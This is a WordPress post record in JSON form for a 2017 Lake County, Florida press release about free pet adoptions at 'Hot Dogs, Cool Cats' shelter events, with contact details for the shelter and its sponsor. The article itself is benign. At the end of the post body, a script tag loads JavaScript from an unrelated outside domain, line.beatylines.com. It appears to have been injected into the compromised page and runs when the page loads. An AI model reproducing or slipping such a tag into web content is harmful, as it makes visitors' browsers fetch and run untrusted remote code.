{"id":212148,"date":"2017-06-02T09:50:55","date_gmt":"2017-06-02T13:50:55","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=212148"},"modified":"2017-11-04T14:55:39","modified_gmt":"2017-11-04T18:55:39","slug":"hot-dogs-cool-cats-events-offer-free-pet-adoptions-hot-dogs-popsicles","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/hot-dogs-cool-cats-events-offer-free-pet-adoptions-hot-dogs-popsicles\/","title":{"rendered":"\u2018Hot Dogs, Cool Cats\u2019 events offer free pet adoptions, hot dogs and popsicles"},"content":{"rendered":"<p><strong>TAVARES, Fla.<\/strong> \u2014 It\u2019s the hottest event of the summer! Join the Lake County Animal Shelter and L.E.A.S.H., Inc. for \u201cHot Dogs, Cool Cats.\u201d Hosted at the shelter, 28123 County Road 561, Tavares, this fun-filled, ongoing event offers families pet adoptions at no cost from <span data-term=\"goog_1227452896\">10 a.m. to 3:30 p.m.<\/span> and free hot dogs and popsicles between <span data-term=\"goog_1227452897\">11 a.m. and 2 p.m.<\/span><\/p>\n<p>\u201cHot Dogs, Cool Cats\u201d will be held on the first<span data-term=\"goog_1227452898\">Saturday<\/span> of the month throughout the summer: <span data-term=\"goog_1227452899\">June 3<\/span>,<span data-term=\"goog_1227452900\"> July 1 and Aug. 5<\/span><\/p>\n<p>\u201cSummer is a wonderful season for families to consider adopting a pet,\u201d said Brian Sheahan, Lake County Community Safety &amp; Compliance Director. \u201cChildren are home from school and are able to spend time bonding and caring for their new best friend.\u201d<\/p>\n<p>In fact, having a family dog can benefit a child\u2019s emotional intelligence, according to the scientific study \u201cThe Role of Pets in Enhancing Human Well-being: Effects on Child Development.\u201d Some ways include increasing self-esteem and compassion, helping children feel accepted, improving cognitive development, lessening stress and contributing to overall happiness and health.<\/p>\n<p>\u201cIt is, of course, important when selecting a dog or cat for your family to ensure the particular animal is the right fit for your home and lifestyle,\u201d added Sheahan. \u201cOur staff and volunteers are happy to work with shelter visitors to find the perfect match for your household.\u201d<\/p>\n<p>To find out more about the Lake County Animal Shelter, or to adopt or volunteer, stop by the shelter at 28123 County Road 561, Tavares, call <a href=\"tel:(352)%20343-9688\">352-343-9688<\/a> or visit <a href=\"http:\/\/www.lakecountyfl.gov\/LCAS\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.lakecountyfl.gov\/LCAS&amp;source=gmail&amp;ust=1496497633484000&amp;usg=AFQjCNFXxwBMj6BAgG0G4l8H-HKR-Vi2fA\">www.lakecountyfl.gov\/LCAS<\/a>.<\/p>\n<p>For the most up-to-date information and photos of adoptable animals, follow the shelter on Facebook at<a href=\"http:\/\/www.facebook.com\/LakeCountyAnimalShelter\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.facebook.com\/LakeCountyAnimalShelter&amp;source=gmail&amp;ust=1496497633484000&amp;usg=AFQjCNHFdbQXfIzTc05L2BhUs6sfqENagw\">www.facebook.com\/LakeCountyAnimalShelter<\/a> and Twitter at <a href=\"http:\/\/www.twitter.com\/lakeshelterpets\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.twitter.com\/lakeshelterpets&amp;source=gmail&amp;ust=1496497633484000&amp;usg=AFQjCNEG25q9XKt5W9dyorFo9bhzsFWn8Q\">www.twitter.com\/lakeshelterpets<\/a>.<\/p>\n<p>The event is sponsored by L.E.A.S.H., Inc., a non-profit agency based in Lake County that directly benefits shelter animals in need. For more information, visit <a href=\"http:\/\/www.leashinc.org\/\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.leashinc.org&amp;source=gmail&amp;ust=1496497633484000&amp;usg=AFQjCNGCuzDGSWtXn7iJgdSWe1epdtpeNQ\">www.leashinc.org<\/a>,<a href=\"http:\/\/www.facebook.com\/LEASHinc\" data-saferedirecturl=\"https:\/\/www.google.com\/url?hl=en&amp;q=http:\/\/www.facebook.com\/LEASHinc&amp;source=gmail&amp;ust=1496497633484000&amp;usg=AFQjCNGHz-qF_7uYiSIyHtpLkA8MwKPEOw\">www.facebook.com\/LEASHinc<\/a>, or call <a href=\"tel:(352)%20340-3803\">352-340-3803<\/a>.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TAVARES, Fla. \u2014 It\u2019s the hottest event of the summer! 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